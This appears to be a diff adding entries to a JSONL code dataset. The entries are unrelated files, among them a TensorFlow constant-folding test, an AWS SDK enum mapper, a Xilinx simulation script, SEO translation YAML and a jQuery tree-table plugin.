self.assertFalse(session.query(Instrument).count())\n        self.assertFalse(session.query(Position).count())\n\n"}
+{"text": "0.0.0.0/0.0.0.0 c3po ACCEPT\n127.0.0.1/255.255.255.255 _any_ ACCEPT\n0.0.0.0/0.0.0.0 _registered_ ACCEPT\n0.0.0.0/0.0.0.0 _unregistered_ DROP\n"}
+{"text": "fileFormatVersion: 2\nguid: bdc3bd843573cf54897d6854bfd9e0d2\ntimeCreated: 1495580698\nlicenseType: Pro\nMonoImporter:\n  serializedVersion: 2\n  defaultReferences: []\n  executionOrder: 0\n  icon: {instanceID: 0}\n  userData: \n  assetBundleName: \n  assetBundleVariant: \n"}
+{"text": "/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*/\n\n#include \"tensorflow/cc/ops/const_op.h\"\n#include \"tensorflow/cc/ops/image_ops.h\"\n#include \"tensorflow/cc/ops/nn_ops.h\"\n#include \"tensorflow/cc/ops/sendrecv_ops.h\"\n#include \"tensorflow/cc/ops/standard_ops.h\"\n#include \"tensorflow/core/framework/tensor_testutil.h\"\n#include \"tensorflow/core/lib/core/status_test_util.h\"\n#include \"tensorflow/core/platform/test.h\"\n#include \"tensorflow/core/platform/test_benchmark.h\"\n#include \"tensorflow/core/public/session.h\"\n#include \"tensorflow/tools/graph_transforms/fold_constants_lib.h\"\n#include \"tensorflow/tools/graph_transforms/transform_utils.h\"\n\nnamespace tensorflow {\nnamespace graph_transforms {\n\n// Declaring this here so it doesn't need to be in the public header.\nStatus ReplaceSendRecvs(const GraphDef& original_graph_def,\n                        const GraphDef& rewritten_graph_def,\n                        const std::vector& inputs,\n                        const std::vector& outputs,\n                        GraphDef* output_graph_def);\n\nclass ConstantFoldingTest : public ::testing::Test {\n protected:\n  void TestSimpleAdd() {\n    auto root = tensorflow::Scope::NewRootScope();\n    using namespace ::tensorflow::ops;  // NOLINT(build/namespaces)\n\n    const int width = 100;\n\n    Tensor a_data(DT_FLOAT, TensorShape({width}));\n    test::FillIota(&a_data, 1.0f);\n    Output a_const =\n        Const(root.WithOpName(\"a_expect_removed\"), Input::Initializer(a_data));\n\n    Tensor b_data(DT_FLOAT, TensorShape({width}));\n    test::FillIota(&b_data, 1.0f);\n    Output b_const =\n        Const(root.WithOpName(\"b_expect_removed\"), Input::Initializer(b_data));\n\n    Output add = Add(root.WithOpName(\"add_expect_removed\"), a_const, b_const);\n\n    Output placeholder =\n        Placeholder(root.WithOpName(\"placeholder_expect_remains\"), DT_FLOAT);\n\n    Output mul =\n        Mul(root.WithOpName(\"output_expect_remains\"), add, placeholder);\n\n    GraphDef graph_def;\n    TF_ASSERT_OK(root.ToGraphDef(&graph_def));\n\n    Tensor placeholder_tensor(DT_FLOAT, TensorShape({width}));\n    test::FillIota(&placeholder_tensor, 1.0f);\n    TestConstantFolding(graph_def,\n                        {{\"placeholder_expect_remains\", placeholder_tensor}},\n                        {\"output_expect_remains\"});\n  }\n\n  void TestConstantFolding(const GraphDef& graph_def,\n                           std::vector > inputs,\n                           const std::vector& outputs) {\n    std::unique_ptr unfolded_session(\n        tensorflow::NewSession(tensorflow::SessionOptions()));\n    TF_ASSERT_OK(unfolded_session->Create(graph_def));\n    std::vector unfolded_tensors;\n    TF_ASSERT_OK(unfolded_session->Run(inputs, outputs, {}, &unfolded_tensors));\n\n    GraphDef folded_graph_def;\n    graph_transforms::TransformFuncContext context;\n    for (const std::pair& input : inputs) {\n      context.input_names.push_back(input.first);\n    }\n    context.output_names = outputs;\n    TF_ASSERT_OK(\n        graph_transforms::FoldConstants(graph_def, context, &folded_graph_def));\n\n    std::unique_ptr folded_session(\n        tensorflow::NewSession(tensorflow::SessionOptions()));\n    TF_ASSERT_OK(folded_session->Create(folded_graph_def));\n    std::vector folded_tensors;\n    TF_ASSERT_OK(folded_session->Run(inputs, outputs, {}, &folded_tensors));\n\n    EXPECT_EQ(unfolded_tensors.size(), folded_tensors.size());\n    for (int i = 0; i < unfolded_tensors.size(); ++i) {\n      test::ExpectTensorNear(unfolded_tensors[i], folded_tensors[i],\n                                    1e-5);\n    }\n\n    std::map folded_node_map;\n    for (const NodeDef& node : folded_graph_def.node()) {\n      folded_node_map.insert({node.name(), &node});\n    }\n\n    for (const NodeDef& node : graph_def.node()) {\n      const StringPiece name(node.name());\n      const int occurrence_count = folded_node_map.count(node.name());\n      if (name.ends_with(\"expect_removed\")) {\n        EXPECT_EQ(0, occurrence_count) << \"node.name()=\" << node.name();\n      }\n      if (name.ends_with(\"expect_remains\")) {\n        EXPECT_EQ(1, occurrence_count) << \"node.name()=\" << node.name();\n      }\n    }\n  }\n\n  void TestReplaceSendRecvs() {\n    using namespace ::tensorflow::ops;  // NOLINT(build/namespaces)\n\n    const int width = 100;\n    Tensor a_const_data(DT_FLOAT, TensorShape({width}));\n    test::FillIota(&a_const_data, 1.0f);\n\n    auto o_root = tensorflow::Scope::NewRootScope();\n    _Recv(o_root.WithOpName(\"original_recv\"), DT_FLOAT, \"\", \"\", 0, \"\");\n    Output o_a_const =\n        Const(o_root.WithOpName(\"a_const\"), Input::Initializer(a_const_data));\n    Placeholder(o_root.WithOpName(\"placeholder\"), DT_FLOAT);\n    _Send(o_root.WithOpName(\"original_send\"), o_a_const, \"\", \"\", 0, \"\");\n    GraphDef o_graph_def;\n    TF_ASSERT_OK(o_root.ToGraphDef(&o_graph_def));\n\n    auto n_root = tensorflow::Scope::NewRootScope();\n    _Recv(n_root.WithOpName(\"original_recv\"), DT_FLOAT, \"\", \"\", 0, \"\");\n    Output n_a_const =\n        Const(n_root.WithOpName(\"a_const\"), Input::Initializer(a_const_data));\n    _Recv(n_root.WithOpName(\"_recv_placeholder_0\"), DT_FLOAT, \"\", \"\", 0, \"\");\n    _Send(n_root.WithOpName(\"original_send\"), n_a_const, \"\", \"\", 0, \"\");\n    _Send(n_root.WithOpName(\"new_send\"), n_a_const, \"\", \"\", 0, \"\");\n    GraphDef n_graph_def;\n    TF_ASSERT_OK(n_root.ToGraphDef(&n_graph_def));\n\n    GraphDef result_graph_def;\n    TF_ASSERT_OK(graph_transforms::ReplaceSendRecvs(\n        o_graph_def, n_graph_def, {\"placeholder\"}, {\"a_const\"},\n        &result_graph_def));\n\n    std::map node_map;\n    graph_transforms::MapNamesToNodes(result_graph_def, &node_map);\n    EXPECT_EQ(1, node_map.count(\"original_recv\"));\n    EXPECT_EQ(1, node_map.count(\"a_const\"));\n    EXPECT_EQ(1, node_map.count(\"placeholder\"));\n    EXPECT_EQ(1, node_map.count(\"original_send\"));\n    EXPECT_EQ(0, node_map.count(\"_recv_placeholder_0\"));\n    EXPECT_EQ(0, node_map.count(\"new_send\"));\n  }\n\n  void TestRemoveUnusedNodes() {\n    using namespace ::tensorflow::ops;  // NOLINT(build/namespaces)\n    auto root = tensorflow::Scope::NewRootScope();\n    using namespace ::tensorflow::ops;  // NOLINT(build/namespaces)\n\n    const int width = 100;\n\n    Tensor a_data(DT_FLOAT, TensorShape({width}));\n    test::FillIota(&a_data, 1.0f);\n    Output a_const = Const(root.WithOpName(\"a\"), Input::Initializer(a_data));\n\n    Tensor b_data(DT_FLOAT, TensorShape({width}));\n    test::FillIota(&b_data, 1.0f);\n    Output b_const = Const(root.WithOpName(\"b\"), Input::Initializer(b_data));\n\n    Output add = Add(root.WithOpName(\"add\"), a_const, b_const);\n    Output placeholder = Placeholder(root.WithOpName(\"placeholder\"), DT_FLOAT);\n    Output mul = Mul(root.WithOpName(\"output\"), add, placeholder);\n\n    Tensor unused_data(DT_FLOAT, TensorShape({width}));\n    test::FillIota(&unused_data, 1.0f);\n    Output unused_const =\n        Const(root.WithOpName(\"unused\"), Input::Initializer(unused_data));\n\n    GraphDef graph_def;\n    TF_ASSERT_OK(root.ToGraphDef(&graph_def));\n    GraphDef result_graph_def;\n    TF_ASSERT_OK(graph_transforms::RemoveUnusedNodes(\n        graph_def, {{\"placeholder\"}, {\"output\"}}, &result_graph_def));\n\n    std::map node_map;\n    graph_transforms::MapNamesToNodes(result_graph_def, &node_map);\n    EXPECT_EQ(1, node_map.count(\"a\"));\n    EXPECT_EQ(1, node_map.count(\"b\"));\n    EXPECT_EQ(1, node_map.count(\"add\"));\n    EXPECT_EQ(1, node_map.count(\"placeholder\"));\n    EXPECT_EQ(1, node_map.count(\"output\"));\n    EXPECT_EQ(0, node_map.count(\"unused\"));\n  }\n};\n\nTEST_F(ConstantFoldingTest, TestSimpleAdd) { TestSimpleAdd(); }\n\nTEST_F(ConstantFoldingTest, TestReplaceSendRecvs) { TestReplaceSendRecvs(); }\n\nTEST_F(ConstantFoldingTest, TestRemoveUnusedNodes) { TestRemoveUnusedNodes(); }\n\n}  // namespace graph_transforms\n}  // namespace tensorflow\n"}
+{"text": "/**\n * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * SPDX-License-Identifier: Apache-2.0.\n */\n\n#include \n#include \n#include \n#include \n\nusing namespace Aws::Utils;\n\n\nnamespace Aws\n{\n  namespace AlexaForBusiness\n  {\n    namespace Model\n    {\n      namespace SipTypeMapper\n      {\n\n        static const int WORK_HASH = HashingUtils::HashString(\"WORK\");\n\n\n        SipType GetSipTypeForName(const Aws::String& name)\n        {\n          int hashCode = HashingUtils::HashString(name.c_str());\n          if (hashCode == WORK_HASH)\n          {\n            return SipType::WORK;\n          }\n          EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer();\n          if(overflowContainer)\n          {\n            overflowContainer->StoreOverflow(hashCode, name);\n            return static_cast(hashCode);\n          }\n\n          return SipType::NOT_SET;\n        }\n\n        Aws::String GetNameForSipType(SipType enumValue)\n        {\n          switch(enumValue)\n          {\n          case SipType::WORK:\n            return \"WORK\";\n          default:\n            EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer();\n            if(overflowContainer)\n            {\n              return overflowContainer->RetrieveOverflow(static_cast(enumValue));\n            }\n\n            return {};\n          }\n        }\n\n      } // namespace SipTypeMapper\n    } // namespace Model\n  } // namespace AlexaForBusiness\n} // namespace Aws\n"}
+{"text": "{\n  \"res\": [\n    [\n      348.0,\n      126.0,\n      108.0,\n      237.0\n    ],\n    [\n      353.0,\n      126.0,\n      109.0,\n      239.0\n    ],\n    [\n      353.0,\n      125.0,\n      104.0,\n      242.0\n    ],\n    [\n      354.0,\n      128.0,\n      97.0,\n      237.0\n    ],\n    [\n      355.0,\n      129.0,\n      91.0,\n      236.0\n    ],\n    [\n      354.0,\n      132.0,\n      87.0,\n      233.0\n    ],\n    [\n      348.0,\n      131.0,\n      98.0,\n      237.0\n    ],\n    [\n      354.0,\n      135.0,\n      76.0,\n      228.0\n    ],\n    [\n      348.0,\n      151.0,\n      83.0,\n      216.0\n    ],\n    [\n      335.0,\n      138.0,\n      131.0,\n      150.0\n    ],\n    [\n      353.0,\n      148.0,\n      106.0,\n      166.0\n    ],\n    [\n      355.0,\n      140.0,\n      92.0,\n      223.0\n    ],\n    [\n      359.0,\n      150.0,\n      84.0,\n      185.0\n    ],\n    [\n      350.0,\n      136.0,\n      106.0,\n      226.0\n    ],\n    [\n      340.0,\n      158.0,\n      127.0,\n      198.0\n    ],\n    [\n      353.0,\n      150.0,\n      90.0,\n      219.0\n    ],\n    [\n      353.0,\n      153.0,\n      91.0,\n      219.0\n    ],\n    [\n      349.0,\n      169.0,\n      113.0,\n      175.0\n    ],\n    [\n      350.0,\n      161.0,\n      112.0,\n      198.0\n    ],\n    [\n      347.0,\n      150.0,\n      127.0,\n      224.0\n    ],\n    [\n      346.0,\n      151.0,\n      125.0,\n      226.0\n    ],\n    [\n      351.0,\n      152.0,\n      99.0,\n      230.0\n    ],\n    [\n      352.0,\n      143.0,\n      91.0,\n      235.0\n    ],\n    [\n      351.0,\n      146.0,\n      94.0,\n      235.0\n    ],\n    [\n      351.0,\n      146.0,\n      108.0,\n      239.0\n    ],\n    [\n      350.0,\n      147.0,\n      114.0,\n      234.0\n    ],\n    [\n      345.0,\n      147.0,\n      125.0,\n      232.0\n    ],\n    [\n      344.0,\n      148.0,\n      140.0,\n      231.0\n    ],\n    [\n      340.0,\n      152.0,\n      159.0,\n      227.0\n    ],\n    [\n      341.0,\n      150.0,\n      157.0,\n      231.0\n    ],\n    [\n      343.0,\n      150.0,\n      148.0,\n      229.0\n    ],\n    [\n      349.0,\n      147.0,\n      125.0,\n      235.0\n    ],\n    [\n      351.0,\n      147.0,\n      119.0,\n      233.0\n    ],\n    [\n      355.0,\n      148.0,\n      108.0,\n      230.0\n    ],\n    [\n      363.0,\n      153.0,\n      90.0,\n      210.0\n    ],\n    [\n      364.0,\n      153.0,\n      87.0,\n      208.0\n    ],\n    [\n      364.0,\n      155.0,\n      84.0,\n      200.0\n    ],\n    [\n      365.0,\n      153.0,\n      85.0,\n      209.0\n    ],\n    [\n      363.0,\n      152.0,\n      89.0,\n      214.0\n    ],\n    [\n      359.0,\n      149.0,\n      93.0,\n      221.0\n    ],\n    [\n      362.0,\n      148.0,\n      89.0,\n      233.0\n    ],\n    [\n      362.0,\n      149.0,\n      88.0,\n      229.0\n    ],\n    [\n      368.0,\n      150.0,\n      81.0,\n      229.0\n    ],\n    [\n      361.0,\n      150.0,\n      96.0,\n      229.0\n    ],\n    [\n      359.0,\n      149.0,\n      97.0,\n      222.0\n    ],\n    [\n      362.0,\n      149.0,\n      91.0,\n      221.0\n    ],\n    [\n      365.0,\n      161.0,\n      87.0,\n      194.0\n    ],\n    [\n      366.0,\n      163.0,\n      82.0,\n      164.0\n    ],\n    [\n      362.0,\n      172.0,\n      86.0,\n      157.0\n    ],\n    [\n      357.0,\n      172.0,\n      91.0,\n      171.0\n    ],\n    [\n      356.0,\n      162.0,\n      93.0,\n      198.0\n    ],\n    [\n      349.0,\n      165.0,\n      111.0,\n      187.0\n    ],\n    [\n      354.0,\n      164.0,\n      95.0,\n      205.0\n    ],\n    [\n      354.0,\n      162.0,\n      99.0,\n      213.0\n    ],\n    [\n      340.0,\n      162.0,\n      125.0,\n      215.0\n    ],\n    [\n      340.0,\n      165.0,\n      123.0,\n      212.0\n    ],\n    [\n      344.0,\n      167.0,\n      116.0,\n      210.0\n    ],\n    [\n      352.0,\n      163.0,\n      88.0,\n      213.0\n    ],\n    [\n      350.0,\n      162.0,\n      86.0,\n      214.0\n    ],\n    [\n      347.0,\n      162.0,\n      84.0,\n      216.0\n    ],\n    [\n      346.0,\n      162.0,\n      82.0,\n      217.0\n    ],\n    [\n      346.0,\n      164.0,\n      82.0,\n      216.0\n    ],\n    [\n      344.0,\n      163.0,\n      82.0,\n      217.0\n    ],\n    [\n      344.0,\n      163.0,\n      80.0,\n      218.0\n    ],\n    [\n      340.0,\n      163.0,\n      83.0,\n      218.0\n    ],\n    [\n      341.0,\n      162.0,\n      82.0,\n      220.0\n    ]\n  ],\n  \"type\": \"rect\",\n  \"fps\": 0.720806492352132\n}"}
+{"text": "#!/bin/sh\n# (c) Copyright 2009 - 2010 Xilinx, Inc. All rights reserved.\n# \n# This file contains confidential and proprietary information\n# of Xilinx, Inc. and is protected under U.S. and\n# international copyright and other intellectual property\n# laws.\n# \n# DISCLAIMER\n# This disclaimer is not a license and does not grant any\n# rights to the materials distributed herewith. Except as\n# otherwise provided in a valid license issued to you by\n# Xilinx, and to the maximum extent permitted by applicable\n# law: (1) THESE MATERIALS ARE MADE AVAILABLE \"AS IS\" AND\n# WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES\n# AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING\n# BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-\n# INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and\n# (2) Xilinx shall not be liable (whether in contract or tort,\n# including negligence, or under any other theory of\n# liability) for any loss or damage of any kind or nature\n# related to, arising under or in connection with these\n# materials, including for any direct, or any indirect,\n# special, incidental, or consequential loss or damage\n# (including loss of data, profits, goodwill, or any type of\n# loss or damage suffered as a result of any action brought\n# by a third party) even if such damage or loss was\n# reasonably foreseeable or Xilinx had been advised of the\n# possibility of the same.\n# \n# CRITICAL APPLICATIONS\n# Xilinx products are not designed or intended to be fail-\n# safe, or for use in any application requiring fail-safe\n# performance, such as life-support or safety devices or\n# systems, Class III medical devices, nuclear facilities,\n# applications related to the deployment of airbags, or any\n# other applications that could lead to death, personal\n# injury, or severe property or environmental damage\n# (individually and collectively, \"Critical\n# Applications\"). Customer assumes the sole risk and\n# liability of any use of Xilinx products in Critical\n# Applications, subject only to applicable laws and\n# regulations governing limitations on product liability.\n# \n# THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS\n# PART OF THIS FILE AT ALL TIMES.\n#--------------------------------------------------------------------------------\n\necho \"Compiling Core Verilog UNISIM/Behavioral model\"\nvlogcomp -work work ../../implement/results/routed.v\n\necho \"Compiling Test Bench Files\"\nvhpcomp -work work ../fifo_short_2clk_pkg.vhd\nvhpcomp -work work ../fifo_short_2clk_rng.vhd \nvhpcomp -work work ../fifo_short_2clk_dgen.vhd\nvhpcomp -work work ../fifo_short_2clk_dverif.vhd\nvhpcomp -work work ../fifo_short_2clk_pctrl.vhd \nvhpcomp -work work ../fifo_short_2clk_synth.vhd \nvhpcomp -work work ../fifo_short_2clk_tb.vhd\n\nfuse work.fifo_short_2clk_tb work.glbl -L simprims_ver -o fifo_short_2clk_tb.exe\n\n./fifo_short_2clk_tb.exe -sdfmax /fifo_short_2clk_tb/fifo_short_2clk_synth_inst/fifo_short_2clk_inst=../../implement/results/routed.sdf -gui -tclbatch ./wave_isim.tcl\n"}
+{"text": "---\nseo:\n  robots:\n    title: Robots\n    tip: 'Tip:'\n    warning: This is a default value and example, no custom robots.txt has been defined.\n    moreinfo: You can find more information about the Kunstmaan robots.txt at our\n  action:\n    save: Save\n    cancel: Cancel\n    preview: Preview\n  form:\n    og:\n      title: OG Title\n      description: OG Description\n      url: OG Url\n      type: OG Type\n      image: OG Image\n      article:\n        author: OG Article Author\n        publisher: OG Article Publisher\n        section: OG Article Section\n    twitter:\n      title: Title\n      title_info_text: The title of your twitter card. Falls back to SEO Meta title\n      description: Description\n      description_info_text: The description of your twitter card. Falls back to SEO Meta description\n      sitehandle: Site Handle\n      sitehandle_info_text: Twitter handle of your website organisation. This value is required for twitter cards to work.\n      creatorhandle: Creator Handle\n      creatorhandle_info_text: Twitter handle of your page publisher.\n      image: Image\n    robots:\n      noindex: No index\n      nofollow: No follow\n      noarchive: No archive\n      nosnippet: No snippet\n      notranslate: No translate\n      noimageindex: No image index\n    seo:\n      meta_title:\n        label: Title\n        info_text: The title tag is often used on search engine results pages.\n      meta_description:\n        label: Meta description\n      meta_robots:\n        label: Meta robots\n        placeholder: Choose robot tags\n      extra_metadata:\n        label: Extra metadata\n  pagetabs:\n    opengraph: Open Graph\n    twittercards: Twitter Cards\n  tab:\n    seo:\n      title: SEO\n    social:\n      title: Social\n"}
+{"text": "getFlippedSubstitutions()\n        );\n    }\n\n    public static function getPluralRuleset() : Ruleset\n    {\n        return new Ruleset(\n            new Transformations(...Inflectible::getPlural()),\n            new Patterns(...Uninflected::getPlural()),\n            new Substitutions(...Inflectible::getIrregular())\n        );\n    }\n}\n"}
+{"text": "import reducer from \"../../client/reducers\";\n\nexport default function initTop() {\n  return {\n    reducer,\n    initialState: {\n      checkBox: { checked: false },\n      number: { value: 999 },\n      username: { value: \"\" },\n      textarea: { value: \"\" },\n      selectedOption: { value: \"0-13\" }\n    }\n  };\n}\n"}
+{"text": "$(function () {\n\n\t/**\n\t * Change a.button to a real button (so it looks the same), retaining link behaviour\n\t */\n\t$('a.button').replaceWith(function () {\n\t\tvar self = $(this);\n\t\tvar button = $('');\n                $rightToolbar.append($refreshBtn);\n                registerRefreshBtnClickEvent($refreshBtn);\n            }\n            // 是否显示列选项\n            if (options.showColumns) {\n                var $columns_div = $('
    ');\n                var $columns_ul = $('
      ');\n                $.each(options.columns, function(i, column) {\n                    if (column.field != 'selectItem') {\n                        var _li = null;\n                        if(typeof column.visible == \"undefined\"||column.visible==true){\n                            _li = $('
      • ');\n                        }else{\n                            _li = $('
      • ');\n                            target.hiddenColumns.push(column.field);\n                        }\n                        $columns_ul.append(_li);\n                    }\n                });\n                $columns_div.append($columns_ul);\n                $rightToolbar.append($columns_div);\n                // 注册列选项事件\n                registerColumnClickEvent();\n            }else{\n                $.each(options.columns, function(i, column) {\n                    if (column.field != 'selectItem') {\n                        if(!(typeof column.visible == \"undefined\"||column.visible==true)){\n                            target.hiddenColumns.push(column.field);\n                        }\n                    }\n                });\n            }\n        }\n        // 初始化隐藏列\n        var initHiddenColumns = function(){\n            $.each(target.hiddenColumns, function(i, field) {\n                target.find(\".\"+field+\"_cls\").hide();\n            });\n        }\n        // 初始化表头\n        var initHeader = function() {\n            var $thr = $('');\n            $.each(options.columns, function(i, column) {\n                var $th = null;\n                // 判断有没有选择列\n                if (i == 0 && column.field == 'selectItem') {\n                    target.hasSelectItem = true;\n                    $th = $('');\n                } else {\n                    $th = $('');\n                }\n                if((!target.isFixWidth)&& column.width){\n                    target.isFixWidth = column.width.indexOf(\"px\")>-1?true:false;\n                }\n                $th.text(column.title);\n                $thr.append($th);\n            });\n            var $thead = $('');\n            $thead.append($thr);\n            target.append($thead);\n        }\n        // 初始化表体\n        var initBody = function() {\n            var $tbody = $('');\n            target.append($tbody);\n            // 默认高度\n            if (options.height) {\n                $tbody.css(\"height\", options.height);\n            }\n        }\n        // 初始化数据服务\n        var initServer = function(parms) {\n            // 加载数据前先清空\n            target.data_list = {};\n            target.data_obj = {};\n            var $tbody = target.find(\"tbody\");\n            // 添加加载loading\n            var $loading = '
      正在努力地加载数据中，请稍候……
      '\n            $tbody.html($loading);\n            if (options.url) {\n                $.ajax({\n                    type: options.type,\n                    url: options.url,\n                    data: parms ? parms : options.ajaxParams,\n                    dataType: \"JSON\",\n                    success: function(data, textStatus, jqXHR) {\n                        renderTable(data);\n                    },\n                    error: function(xhr, textStatus) {\n                        var _errorMsg = '
      ' + xhr.responseText + '
      '\n                        $tbody.html(_errorMsg);\n                    },\n                });\n            } else {\n                renderTable(options.data);\n            }\n        }\n        // 加载完数据后渲染表格\n        var renderTable = function(data) {\n            var $tbody = target.find(\"tbody\");\n            // 先清空\n            $tbody.html(\"\");\n            if (!data || data.length <= 0) {\n                var _empty = '
      没有找到匹配的记录
      '\n                $tbody.html(_empty);\n                return;\n            }\n            // 缓存并格式化数据\n            formatData(data);\n            // 获取所有根节点\n            var rootNode = target.data_list[\"_root_\"];\n            // 开始绘制\n            if (rootNode) {\n                $.each(rootNode, function(i, item) {\n                    var _child_row_id = \"row_id_\" + i\n                    recursionNode(item, 1, _child_row_id, \"row_root\");\n                });\n            }\n            // 下边的操作主要是为了查询时让一些没有根节点的节点显示\n            $.each(data, function(i, item) {\n                if (!item.isShow) {\n                    var tr = renderRow(item, false, 1, \"\", \"\");\n                    $tbody.append(tr);\n                }\n            });\n            target.append($tbody);\n            registerExpanderEvent();\n            registerRowClickEvent();\n            initHiddenColumns();\n            // 动态设置表头宽度\n            autoTheadWidth()\n        }\n        // 动态设置表头宽度\n        var autoTheadWidth = function(initFlag) {\n            if(options.height>0){\n                var $thead = target.find(\"thead\");\n                var $tbody = target.find(\"tbody\");\n                var borderWidth = parseInt(target.css(\"border-left-width\")) + parseInt(target.css(\"border-right-width\"))\n                \n                $thead.css(\"width\", $tbody.children(\":first\").width());\n                if(initFlag){\n                    var resizeWaiter = false;\n                    $(window).resize(function() {\n                        if(!resizeWaiter){\n                            resizeWaiter = true;\n                            setTimeout(function(){\n                                if(!target.isFixWidth){\n                                    $tbody.css(\"width\", target.parent().width()-borderWidth);\n                                }\n                                $thead.css(\"width\", $tbody.children(\":first\").width());\n                                resizeWaiter = false;\n                            }, 300);\n                        }\n                    });\n                }\n            }\n        \n        }\n        // 缓存并格式化数据\n        var formatData = function(data) {\n            var _root = options.rootIdValue ? options.rootIdValue : null\n            $.each(data, function(index, item) {\n                // 添加一个默认属性，用来判断当前节点有没有被显示\n                item.isShow = false;\n                // 这里兼容几种常见Root节点写法\n                // 默认的几种判断\n                var _defaultRootFlag = item[options.parentCode] == '0' ||\n                    item[options.parentCode] == 0 ||\n                    item[options.parentCode] == null ||\n                    item[options.parentCode] == '';\n                if (!item[options.parentCode] || (_root ? (item[options.parentCode] == options.rootIdValue) : _defaultRootFlag)) {\n                    if (!target.data_list[\"_root_\"]) {\n                        target.data_list[\"_root_\"] = [];\n                    }\n                    if (!target.data_obj[\"id_\" + item[options.code]]) {\n                        target.data_list[\"_root_\"].push(item);\n                    }\n                } else {\n                    if (!target.data_list[\"_n_\" + item[options.parentCode]]) {\n                        target.data_list[\"_n_\" + item[options.parentCode]] = [];\n                    }\n                    if (!target.data_obj[\"id_\" + item[options.code]]) {\n                        target.data_list[\"_n_\" + item[options.parentCode]].push(item);\n                    }\n                }\n                target.data_obj[\"id_\" + item[options.code]] = item;\n            });\n        }\n        // 递归获取子节点并且设置子节点\n        var recursionNode = function(parentNode, lv, row_id, p_id) {\n            var $tbody = target.find(\"tbody\");\n            var _ls = target.data_list[\"_n_\" + parentNode[options.code]];\n            var $tr = renderRow(parentNode, _ls ? true : false, lv, row_id, p_id);\n            $tbody.append($tr);\n            if (_ls) {\n                $.each(_ls, function(i, item) {\n                    var _child_row_id = row_id + \"_\" + i\n                    recursionNode(item, (lv + 1), _child_row_id, row_id)\n                });\n            }\n        };\n        // 绘制行\n        var renderRow = function(item, isP, lv, row_id, p_id) {\n            // 标记已显示\n            item.isShow = true;\n            item.row_id = row_id;\n            item.p_id = p_id;\n            item.lv = lv;\n            var $tr = $('');\n            var _icon = options.expanderCollapsedClass;\n            if (options.expandAll) {\n                $tr.css(\"display\", \"table\");\n                _icon = options.expanderExpandedClass;\n            } else if (lv == 1) {\n                $tr.css(\"display\", \"table\");\n                _icon = (options.expandFirst) ? options.expanderExpandedClass : options.expanderCollapsedClass;\n            } else if (lv == 2) {\n                if (options.expandFirst) {\n                    $tr.css(\"display\", \"table\");\n                } else {\n                    $tr.css(\"display\", \"none\");\n                }\n                _icon = options.expanderCollapsedClass;\n            } else {\n                $tr.css(\"display\", \"none\");\n                _icon = options.expanderCollapsedClass;\n            }\n            $.each(options.columns, function(index, column) {\n                // 判断有没有选择列\n                if (column.field == 'selectItem') {\n                    target.hasSelectItem = true;\n                    var $td = $('');\n                    if (column.radio) {\n                        var _ipt = $('');\n                        $td.append(_ipt);\n                    }\n                    if (column.checkbox) {\n                        var _ipt = $('');\n                        $td.append(_ipt);\n                    }\n                    $tr.append($td);\n                } else {\n                    var $td = $('');\n                    if(column.width){\n                        $td.css(\"width\",column.width);\n                    }\n                    if(column.align){\n                        $td.css(\"text-align\",column.align);\n                    }\n                    if(options.expandColumn == index){\n                        $td.css(\"text-align\",\"left\");\n                    }\n                    if(column.valign){\n                        $td.css(\"vertical-align\",column.valign);\n                    }\n                    if(options.showTitle){\n                        $td.addClass(\"ellipsis\");\n                    }\n                    // 增加formatter渲染\n                    if (column.formatter) {\n                        $td.html(column.formatter.call(this, item[column.field], item, index));\n                    } else {\n                        if(options.showTitle){\n                            // 只在字段没有formatter时才添加title属性\n                            $td.attr(\"title\",item[column.field]);\n                        }\n                        $td.text(item[column.field]);\n                    }\n                    if (options.expandColumn == index) {\n                        if (!isP) {\n                            $td.prepend('')\n                        } else {\n                            $td.prepend('')\n                        }\n                        for (var int = 0; int < (lv - 1); int++) {\n                            $td.prepend('')\n                        }\n                    }\n                    $tr.append($td);\n                }\n            });\n            return $tr;\n        }\n        // 注册刷新按钮点击事件\n        var registerRefreshBtnClickEvent = function(btn) {\n            $(btn).off('click').on('click', function () {\n                target.refresh();\n            });\n        }\n        // 注册列选项事件\n        var registerColumnClickEvent = function() {\n            $(\".bootstrap-tree-table .treetable-bars .columns label input\").off('click').on('click', function () {\n                var $this = $(this);\n                if($this.prop('checked')){\n                    target.showColumn($(this).val());\n                }else{\n                    target.hideColumn($(this).val());\n                }\n            });\n        }\n        // 注册行点击选中事件\n        var registerRowClickEvent = function() {\n            target.find(\"tbody\").find(\"tr\").unbind();\n            target.find(\"tbody\").find(\"tr\").click(function() {\n                if (target.hasSelectItem) {\n                    var _ipt = $(this).find(\"input[name='select_item']\");\n                    if (_ipt.attr(\"type\") == \"radio\") {\n                        _ipt.prop('checked', true);\n                        target.find(\"tbody\").find(\"tr\").removeClass(\"treetable-selected\");\n                        $(this).addClass(\"treetable-selected\");\n                    } else {\n                        if (_ipt.prop('checked')) {\n                            _ipt.prop('checked', false);\n                            $(this).removeClass(\"treetable-selected\");\n                        } else {\n                            _ipt.prop('checked', true);\n                            $(this).addClass(\"treetable-selected\");\n                        }\n                    }\n                }\n            });\n        }\n        // 注册小图标点击事件--展开缩起\n        var registerExpanderEvent = function() {\n            target.find(\"tbody\").find(\"tr\").find(\".treetable-expander\").unbind();\n            target.find(\"tbody\").find(\"tr\").find(\".treetable-expander\").click(function() {\n                var _isExpanded = $(this).hasClass(options.expanderExpandedClass);\n                var _isCollapsed = $(this).hasClass(options.expanderCollapsedClass);\n                if (_isExpanded || _isCollapsed) {\n                    var tr = $(this).parent().parent();\n                    var row_id = tr.attr(\"id\");\n                    var _ls = target.find(\"tbody\").find(\"tr[id^='\" + row_id + \"_']\"); //下所有\n                 